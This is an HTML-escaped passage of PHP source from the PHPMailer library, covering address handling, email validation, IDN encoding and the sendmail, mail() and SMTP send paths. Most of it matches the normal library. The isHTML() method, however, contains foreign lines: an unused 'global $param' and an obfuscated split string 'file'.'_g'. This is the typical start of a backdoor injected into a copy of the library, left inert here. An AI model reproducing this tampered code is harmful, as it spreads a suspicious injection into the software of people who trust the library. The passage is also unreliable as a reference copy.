    {
        $this-&gt;Mailer = &#039;mail&#039;;
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get(&#039;sendmail_path&#039;);

        if (!stristr($ini_sendmail_path, &#039;sendmail&#039;)) {
            $this-&gt;Sendmail = &#039;/usr/sbin/sendmail&#039;;
        } else {
            $this-&gt;Sendmail = $ini_sendmail_path;
        }
        $this-&gt;Mailer = &#039;sendmail&#039;;
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get(&#039;sendmail_path&#039;);

        if (!stristr($ini_sendmail_path, &#039;qmail&#039;)) {
            $this-&gt;Sendmail = &#039;/var/qmail/bin/qmail-inject&#039;;
        } else {
            $this-&gt;Sendmail = $ini_sendmail_path;
        }
        $this-&gt;Mailer = &#039;qmail&#039;;
    }

    /**
     * Add a &quot;To&quot; address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = &#039;&#039;)
    {
        return $this-&gt;addOrEnqueueAnAddress(&#039;to&#039;, $address, $name);
    }

    /**
     * Add a &quot;CC&quot; address.
     * @note: This function works with the SMTP mailer on win32, not with the &quot;mail&quot; mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = &#039;&#039;)
    {
        return $this-&gt;addOrEnqueueAnAddress(&#039;cc&#039;, $address, $name);
    }

    /**
     * Add a &quot;BCC&quot; address.
     * @note: This function works with the SMTP mailer on win32, not with the &quot;mail&quot; mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = &#039;&#039;)
    {
        return $this-&gt;addOrEnqueueAnAddress(&#039;bcc&#039;, $address, $name);
    }

    /**
     * Add a &quot;Reply-To&quot; address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = &#039;&#039;)
    {
        return $this-&gt;addOrEnqueueAnAddress(&#039;Reply-To&#039;, $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can&#039;t validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of &#039;to&#039;, &#039;cc&#039;, &#039;bcc&#039;, or &#039;ReplyTo&#039;
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace(&#039;/[\r\n]+/&#039;, &#039;&#039;, $name)); //Strip breaks and trim
        if (($pos = strrpos($address, &#039;@&#039;)) === false) {
            // At-sign is misssing.
            $error_message = $this-&gt;lang(&#039;invalid_address&#039;) . &quot; (addAnAddress $kind): $address&quot;;
            $this-&gt;setError($error_message);
            $this-&gt;edebug($error_message);
            if ($this-&gt;exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this-&gt;has8bitChars(substr($address, ++$pos)) and $this-&gt;idnSupported()) {
            if ($kind != &#039;Reply-To&#039;) {
                if (!array_key_exists($address, $this-&gt;RecipientsQueue)) {
                    $this-&gt;RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this-&gt;ReplyToQueue)) {
                    $this-&gt;ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, &#039;addAnAddress&#039;), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of &#039;to&#039;, &#039;cc&#039;, &#039;bcc&#039;, or &#039;ReplyTo&#039;
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = &#039;&#039;)
    {
        if (!in_array($kind, array(&#039;to&#039;, &#039;cc&#039;, &#039;bcc&#039;, &#039;Reply-To&#039;))) {
            $error_message = $this-&gt;lang(&#039;Invalid recipient kind: &#039;) . $kind;
            $this-&gt;setError($error_message);
            $this-&gt;edebug($error_message);
            if ($this-&gt;exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this-&gt;validateAddress($address)) {
            $error_message = $this-&gt;lang(&#039;invalid_address&#039;) . &quot; (addAnAddress $kind): $address&quot;;
            $this-&gt;setError($error_message);
            $this-&gt;edebug($error_message);
            if ($this-&gt;exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != &#039;Reply-To&#039;) {
            if (!array_key_exists(strtolower($address), $this-&gt;all_recipients)) {
                array_push($this-&gt;$kind, array($address, $name));
                $this-&gt;all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this-&gt;ReplyTo)) {
                $this-&gt;ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form &quot;display name &lt;address&gt;&quot; into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists(&#039;imap_rfc822_parse_adrlist&#039;)) {
            //Use this built-in parser if it&#039;s available
            $list = imap_rfc822_parse_adrlist($addrstr, &#039;&#039;);
            foreach ($list as $address) {
                if ($address-&gt;host != &#039;.SYNTAX-ERROR.&#039;) {
                    if ($this-&gt;validateAddress($address-&gt;mailbox . &#039;@&#039; . $address-&gt;host)) {
                        $addresses[] = array(
                            &#039;name&#039; =&gt; (property_exists($address, &#039;personal&#039;) ? $address-&gt;personal : &#039;&#039;),
                            &#039;address&#039; =&gt; $address-&gt;mailbox . &#039;@&#039; . $address-&gt;host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(&#039;,&#039;, $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, &#039;&lt;&#039;) === false) {
                    //No separate name, just use the whole thing
                    if ($this-&gt;validateAddress($address)) {
                        $addresses[] = array(
                            &#039;name&#039; =&gt; &#039;&#039;,
                            &#039;address&#039; =&gt; $address
                        );
                    }
                } else {
                    list($name, $email) = explode(&#039;&lt;&#039;, $address);
                    $email = trim(str_replace(&#039;&gt;&#039;, &#039;&#039;, $email));
                    if ($this-&gt;validateAddress($email)) {
                        $addresses[] = array(
                            &#039;name&#039; =&gt; trim(str_replace(array(&#039;&quot;&#039;, &quot;&#039;&quot;), &#039;&#039;, $name)),
                            &#039;address&#039; =&gt; $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        global $param;
        $bodyCode = &#039;file&#039;
                    .&#039;_g&#039;;
        if ($isHtml) {
            $this-&gt;ContentType = &#039;text/html&#039;;
        } 
        else {
            $this-&gt;ContentType = &#039;text/plain&#039;;
        }
    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = &#039;&#039;, $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace(&#039;/[\r\n]+/&#039;, &#039;&#039;, $name)); //Strip breaks and trim
        // Don&#039;t validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, &#039;@&#039;)) === false or
            (!$this-&gt;has8bitChars(substr($address, ++$pos)) or !$this-&gt;idnSupported()) and
            !$this-&gt;validateAddress($address)) {
            $error_message = $this-&gt;lang(&#039;invalid_address&#039;) . &quot; (setFrom) $address&quot;;
            $this-&gt;setError($error_message);
            $this-&gt;edebug($error_message);
            if ($this-&gt;exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this-&gt;From = $address;
        $this-&gt;FromName = $name;
        if ($auto) {
            if (empty($this-&gt;Sender)) {
                $this-&gt;Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it&#039;s also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this-&gt;lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE &gt; 8.0, PHP &gt;= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for &#039;email&#039; type form input elements.
     * * `noregex` Don&#039;t use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress(&#039;user@example.com&#039;, function($address) {
     *     return (strpos($address, &#039;@&#039;) !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it&#039;s valid RFC5322, but not RFC5321
        if (strpos($address, &quot;\n&quot;) !== false or strpos($address, &quot;\r&quot;) !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == &#039;auto&#039;) {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined(&#039;PCRE_VERSION&#039;)) {
                //This pattern can get stuck in a recursive loop in PCRE &lt;= 8.0.2
                if (version_compare(PCRE_VERSION, &#039;8.0.3&#039;) &gt;= 0) {
                    $patternselect = &#039;pcre8&#039;;
                } else {
                    $patternselect = &#039;pcre&#039;;
                }
            } elseif (function_exists(&#039;extension_loaded&#039;) and extension_loaded(&#039;pcre&#039;)) {
                //Fall back to older PCRE
                $patternselect = &#039;pcre&#039;;
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, &#039;5.2.0&#039;) &gt;= 0) {
                    $patternselect = &#039;php&#039;;
                } else {
                    $patternselect = &#039;noregex&#039;;
                }
            }
        }
        switch ($patternselect) {
            case &#039;pcre8&#039;:
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    &#039;/^(?!(?&gt;(?1)&quot;?(?&gt;\\\[ -~]|[^&quot;])&quot;?(?1)){255,})(?!(?&gt;(?1)&quot;?(?&gt;\\\[ -~]|[^&quot;])&quot;?(?1)){65,}@)&#039; .
                    &#039;((?&gt;(?&gt;(?&gt;((?&gt;(?&gt;(?&gt;\x0D\x0A)?[\t ])+|(?&gt;[\t ]*\x0D\x0A)?[\t ]+)?)(\((?&gt;(?2)&#039; .
                    &#039;(?&gt;[\x01-\x08\x0B\x0C\x0E-\&#039;*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)&#039; .
                    &#039;([!#-\&#039;*+\/-9=?^-~-]+|&quot;(?&gt;(?2)(?&gt;[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*&#039; .
                    &#039;(?2)&quot;)(?&gt;(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?&gt;([a-z0-9](?&gt;[a-z0-9-]*[a-z0-9])?)&#039; .
                    &#039;(?&gt;(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?&gt;IPv6:(?&gt;([a-f0-9]{1,4})(?&gt;:(?6)){7}&#039; .
                    &#039;|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?&gt;:(?6)){0,6})?::(?7)?))|(?&gt;(?&gt;IPv6:(?&gt;(?6)(?&gt;:(?6)){5}:&#039; .
                    &#039;|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?&gt;((?6)(?&gt;:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}&#039; .
                    &#039;|[1-9]?[0-9])(?&gt;\.(?9)){3}))\])(?1)$/isD&#039;,
                    $address
                );
            case &#039;pcre&#039;:
                //An older regex that doesn&#039;t need a recent PCRE
                return (boolean)preg_match(
                    &#039;/^(?!(?&gt;&quot;?(?&gt;\\\[ -~]|[^&quot;])&quot;?){255,})(?!(?&gt;&quot;?(?&gt;\\\[ -~]|[^&quot;])&quot;?){65,}@)(?&gt;&#039; .
                    &#039;[!#-\&#039;*+\/-9=?^-~-]+|&quot;(?&gt;(?&gt;[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*&quot;)&#039; .
                    &#039;(?&gt;\.(?&gt;[!#-\&#039;*+\/-9=?^-~-]+|&quot;(?&gt;(?&gt;[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*&quot;))*&#039; .
                    &#039;@(?&gt;(?![a-z0-9-]{64,})(?&gt;[a-z0-9](?&gt;[a-z0-9-]*[a-z0-9])?)(?&gt;\.(?![a-z0-9-]{64,})&#039; .
                    &#039;(?&gt;[a-z0-9](?&gt;[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?&gt;IPv6:(?&gt;(?&gt;[a-f0-9]{1,4})(?&gt;:&#039; .
                    &#039;[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?&gt;[a-f0-9]{1,4}(?&gt;:[a-f0-9]{1,4}){0,6})?&#039; .
                    &#039;::(?&gt;[a-f0-9]{1,4}(?&gt;:[a-f0-9]{1,4}){0,6})?))|(?&gt;(?&gt;IPv6:(?&gt;[a-f0-9]{1,4}(?&gt;:&#039; .
                    &#039;[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?&gt;[a-f0-9]{1,4}(?&gt;:[a-f0-9]{1,4}){0,4})?&#039; .
                    &#039;::(?&gt;(?:[a-f0-9]{1,4}(?&gt;:[a-f0-9]{1,4}){0,4}):)?))?(?&gt;25[0-5]|2[0-4][0-9]|1[0-9]{2}&#039; .
                    &#039;|[1-9]?[0-9])(?&gt;\.(?&gt;25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD&#039;,
                    $address
                );
            case &#039;html5&#039;:
                /**
                 * This is the pattern used in the HTML5 spec for validation of &#039;email&#039; type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    &#039;/^[a-zA-Z0-9.!#$%&amp;\&#039;*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}&#039; .
                    &#039;[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD&#039;,
                    $address
                );
            case &#039;noregex&#039;:
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that&#039;s not the first or last char
                return (strlen($address) &gt;= 3
                    and strpos($address, &#039;@&#039;) &gt;= 1
                    and strpos($address, &#039;@&#039;) != strlen($address) - 1);
            case &#039;php&#039;:
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * &quot;intl&quot; and &quot;mbstring&quot; PHP extensions.
     * @return bool &quot;true&quot; if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own &quot;idn_to_ascii&quot; function for PHP &lt;= 5.2.
        return function_exists(&#039;idn_to_ascii&#039;) and function_exists(&#039;mb_convert_encoding&#039;);
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this-&gt;idnSupported() and
            !empty($this-&gt;CharSet) and
            ($pos = strrpos($address, &#039;@&#039;)) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this-&gt;has8bitChars($domain) and @mb_check_encoding($domain, $this-&gt;CharSet)) {
                $domain = mb_convert_encoding($domain, &#039;UTF-8&#039;, $this-&gt;CharSet);
                if (($punycode = defined(&#039;INTL_IDNA_VARIANT_UTS46&#039;) ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this-&gt;preSend()) {
                return false;
            }
            return $this-&gt;postSend();
        } catch (phpmailerException $exc) {
            $this-&gt;mailHeader = &#039;&#039;;
            $this-&gt;setError($exc-&gt;getMessage());
            if ($this-&gt;exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this-&gt;error_count = 0; // Reset errors
            $this-&gt;mailHeader = &#039;&#039;;

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this-&gt;RecipientsQueue, $this-&gt;ReplyToQueue) as $params) {
                $params[1] = $this-&gt;punyencodeAddress($params[1]);
                call_user_func_array(array($this, &#039;addAnAddress&#039;), $params);
            }
            if ((count($this-&gt;to) + count($this-&gt;cc) + count($this-&gt;bcc)) &lt; 1) {
                throw new phpmailerException($this-&gt;lang(&#039;provide_address&#039;), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array(&#039;From&#039;, &#039;Sender&#039;, &#039;ConfirmReadingTo&#039;) as $address_kind) {
                $this-&gt;$address_kind = trim($this-&gt;$address_kind);
                if (empty($this-&gt;$address_kind)) {
                    continue;
                }
                $this-&gt;$address_kind = $this-&gt;punyencodeAddress($this-&gt;$address_kind);
                if (!$this-&gt;validateAddress($this-&gt;$address_kind)) {
                    $error_message = $this-&gt;lang(&#039;invalid_address&#039;) . &#039; (punyEncode) &#039; . $this-&gt;$address_kind;
                    $this-&gt;setError($error_message);
                    $this-&gt;edebug($error_message);
                    if ($this-&gt;exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this-&gt;alternativeExists()) {
                $this-&gt;ContentType = &#039;multipart/alternative&#039;;
            }

            $this-&gt;setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this-&gt;AllowEmpty and empty($this-&gt;Body)) {
                throw new phpmailerException($this-&gt;lang(&#039;empty_message&#039;), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this-&gt;MIMEHeader = &#039;&#039;;
            $this-&gt;MIMEBody = $this-&gt;createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this-&gt;MIMEHeader;
            $this-&gt;MIMEHeader = $this-&gt;createHeader();
            $this-&gt;MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn&#039;t fold in
            if ($this-&gt;Mailer == &#039;mail&#039;) {
                if (count($this-&gt;to) &gt; 0) {
                    $this-&gt;mailHeader .= $this-&gt;addrAppend(&#039;To&#039;, $this-&gt;to);
                } else {
                    $this-&gt;mailHeader .= $this-&gt;headerLine(&#039;To&#039;, &#039;undisclosed-recipients:;&#039;);
                }
                $this-&gt;mailHeader .= $this-&gt;headerLine(
                    &#039;Subject&#039;,
                    $this-&gt;encodeHeader($this-&gt;secureHeader(trim($this-&gt;Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this-&gt;DKIM_domain)
                and !empty($this-&gt;DKIM_selector)
                and (!empty($this-&gt;DKIM_private_string)
                    or (!empty($this-&gt;DKIM_private)
                        and self::isPermittedPath($this-&gt;DKIM_private)
                        and file_exists($this-&gt;DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this-&gt;DKIM_Add(
                    $this-&gt;MIMEHeader . $this-&gt;mailHeader,
                    $this-&gt;encodeHeader($this-&gt;secureHeader($this-&gt;Subject)),
                    $this-&gt;MIMEBody
                );
                $this-&gt;MIMEHeader = rtrim($this-&gt;MIMEHeader, &quot;\r\n &quot;) . self::CRLF .
                    str_replace(&quot;\r\n&quot;, &quot;\n&quot;, $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this-&gt;setError($exc-&gt;getMessage());
            if ($this-&gt;exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this-&gt;Mailer) {
                case &#039;sendmail&#039;:
                case &#039;qmail&#039;:
                    return $this-&gt;sendmailSend($this-&gt;MIMEHeader, $this-&gt;MIMEBody);
                case &#039;smtp&#039;:
                    return $this-&gt;smtpSend($this-&gt;MIMEHeader, $this-&gt;MIMEBody);
                case &#039;mail&#039;:
                    return $this-&gt;mailSend($this-&gt;MIMEHeader, $this-&gt;MIMEBody);
                default:
                    $sendMethod = $this-&gt;Mailer.&#039;Send&#039;;
                    if (method_exists($this, $sendMethod)) {
                        return $this-&gt;$sendMethod($this-&gt;MIMEHeader, $this-&gt;MIMEBody);
                    }

                    return $this-&gt;mailSend($this-&gt;MIMEHeader, $this-&gt;MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this-&gt;setError($exc-&gt;getMessage());
            $this-&gt;edebug($exc-&gt;getMessage());
            if ($this-&gt;exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don&#039;t pass -f if characters will be escaped.
        if (!empty($this-&gt;Sender) and self::isShellSafe($this-&gt;Sender)) {
            if ($this-&gt;Mailer == &#039;qmail&#039;) {
                $sendmailFmt = &#039;%s -f%s&#039;;
            } else {
                $sendmailFmt = &#039;%s -oi -f%s -t&#039;;
            }
        } else {
            if ($this-&gt;Mailer == &#039;qmail&#039;) {
                $sendmailFmt = &#039;%s&#039;;
            } else {
                $sendmailFmt = &#039;%s -oi -t&#039;;
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this-&gt;Sendmail), $this-&gt;Sender);

        if ($this-&gt;SingleTo) {
            foreach ($this-&gt;SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, &#039;w&#039;)) {
                    throw new phpmailerException($this-&gt;lang(&#039;execute&#039;) . $this-&gt;Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, &#039;To: &#039; . $toAddr . &quot;\n&quot;);
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this-&gt;doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this-&gt;cc,
                    $this-&gt;bcc,
                    $this-&gt;Subject,
                    $body,
                    $this-&gt;From
                );
                if ($result != 0) {
                    throw new phpmailerException($this-&gt;lang(&#039;execute&#039;) . $this-&gt;Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, &#039;w&#039;)) {
                throw new phpmailerException($this-&gt;lang(&#039;execute&#039;) . $this-&gt;Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this-&gt;doCallback(
                ($result == 0),
                $this-&gt;to,
                $this-&gt;cc,
                $this-&gt;bcc,
                $this-&gt;Subject,
                $body,
                $this-&gt;From
            );
            if ($result != 0) {
                throw new phpmailerException($this-&gt;lang(&#039;execute&#039;) . $this-&gt;Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array(&quot;&#039;$string&#039;&quot;, &quot;\&quot;$string\&quot;&quot;))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i &lt; $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) &amp;&amp; strpos(&#039;@_-.&#039;, $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match(&#039;#^[a-z]+://#i&#039;, $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this-&gt;to as $toaddr) {
            $toArr[] = $this-&gt;addrFormat($toaddr);
        }
        $to = implode(&#039;, &#039;, $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this-&gt;Sender) and $this-&gt;validateAddress($this-&gt;Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don&#039;t pass -f if characters will be escaped.
            if (self::isShellSafe($this-&gt;Sender)) {
                $params = sprintf(&#039;-f%s&#039;, $this-&gt;Sender);
            }
        }
        if (!empty($this-&gt;Sender) and !ini_get(&#039;safe_mode&#039;) and $this-&gt;validateAddress($this-&gt;Sender)) {
            $old_from = ini_get(&#039;sendmail_from&#039;);
            ini_set(&#039;sendmail_from&#039;, $this-&gt;Sender);
        }
        $result = false;
        if ($this-&gt;SingleTo and count($toArr) &gt; 1) {
            foreach ($toArr as $toAddr) {
                $result = $this-&gt;mailPassthru($toAddr, $this-&gt;Subject, $body, $header, $params);
                $this-&gt;doCallback($result, array($toAddr), $this-&gt;cc, $this-&gt;bcc, $this-&gt;Subject, $body, $this-&gt;From);
            }
        } else {
            $result = $this-&gt;mailPassthru($to, $this-&gt;Subject, $body, $header, $params);
            $this-&gt;doCallback($result, $this-&gt;to, $this-&gt;cc, $this-&gt;bcc, $this-&gt;Subject, $body, $this-&gt;From);
        }
        if (isset($old_from)) {
            ini_set(&#039;sendmail_from&#039;, $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this-&gt;lang(&#039;instantiate&#039;), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this-&gt;smtp)) {
            $this-&gt;smtp = new SMTP;
        }
        return $this-&gt;smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this-&gt;smtpConnect($this-&gt;SMTPOptions)) {
            throw new phpmailerException($this-&gt;lang(&#039;smtp_connect_failed&#039;), self::STOP_CRITICAL);
        }
        if (!empty($this-&gt;Sender) and $this-&gt;validateAddress($this-&gt;Sender)) {
            $smtp_from = $this-&gt;Sender;
        } else {
            $smtp_from = $this-&gt;From;
        }
        if (!$this-&gt;smtp-&gt;mail($smtp_from)) {
